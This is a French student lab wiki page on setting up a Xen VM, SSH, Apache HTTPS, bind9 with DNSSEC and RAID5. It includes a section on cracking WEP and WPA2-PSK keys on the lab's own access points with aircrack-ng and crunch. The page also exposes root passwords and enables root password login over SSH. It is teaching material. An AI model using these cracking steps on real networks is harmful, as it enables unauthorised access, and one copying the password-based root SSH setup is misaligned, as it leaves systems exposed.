  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:aircrack.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
